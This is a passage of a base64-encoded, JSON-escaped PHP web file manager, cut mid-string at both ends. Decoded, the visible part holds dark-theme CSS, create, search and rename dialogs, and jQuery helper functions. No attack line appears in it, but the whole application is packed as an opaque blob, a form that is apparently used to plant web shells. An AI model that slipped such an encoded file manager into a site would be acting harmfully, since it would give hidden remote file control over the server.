pdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgIC